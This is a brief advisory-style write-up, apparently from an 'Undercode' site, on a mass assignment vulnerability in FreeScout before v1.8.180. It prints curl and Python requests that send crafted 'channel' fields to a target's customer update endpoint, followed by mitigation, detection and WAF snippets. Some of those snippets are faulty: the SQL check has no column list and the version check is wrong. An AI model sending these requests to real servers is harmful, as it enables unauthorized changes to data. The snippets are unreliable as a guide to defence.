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How the CVE Works
CVE-2025-48482 is a mass assignment vulnerability in FreeScout (prior to v1.8.180) where the `fill()` method improperly processes user-supplied input. Attackers can manipulate unprotected fields like `channel` and `channel_id` by injecting unexpected values during customer object updates. This occurs due to insufficient input validation, allowing unauthorized modifications to sensitive attributes. The flaw is exploitable remotely with low attack complexity, requiring only a low-privileged account. GitHub assigned it a CVSS 4.0 score of 5.3 (Medium).
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Platform: FreeScout
Version: <1.8.180
Vulnerability: Mass assignment
Severity: Medium
Date: 2025-06-04
Prediction: Patch expected by 2025-06-20
What Undercode Say:
Exploitation Commands:
1. Craft malicious POST request:
curl -X POST 'https://<target>/customers/update' -d 'channel=malicious&channel_id=hacked'
2. Exploit via Python:
import requests
payload = {"channel": "compromised", "channel_id": "attacker_controlled"}
requests.post("https://<target>/customers/update", data=payload)
Mitigation Steps:
1. Immediate Workaround:
// Override fill() method to whitelist fields protected $fillable = ['safe_field1', 'safe_field2'];
2. Patch Upgrade:
composer update freescout/freescout --with-dependencies
Detection Script:
grep -r "fill(\$request->all())" /var/www/freescout/
Log Analysis:
cat /var/log/apache2/access.log | grep "POST /customers/update"
Post-Patch Verification:
php artisan --version | grep "1.8.180"
WAF Rule (ModSecurity):
SecRule ARGS "@contains channel=" "deny,status:403,id:1001"
SQL Check for Exploits:
SELECT FROM customers WHERE channel LIKE '%malicious%';
Automated Patch Alert:
watch -n 3600 curl -s https://api.github.com/repos/freescout/freescout/releases/latest | grep tag_name
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Sources:
Reported By: nvd.nist.gov
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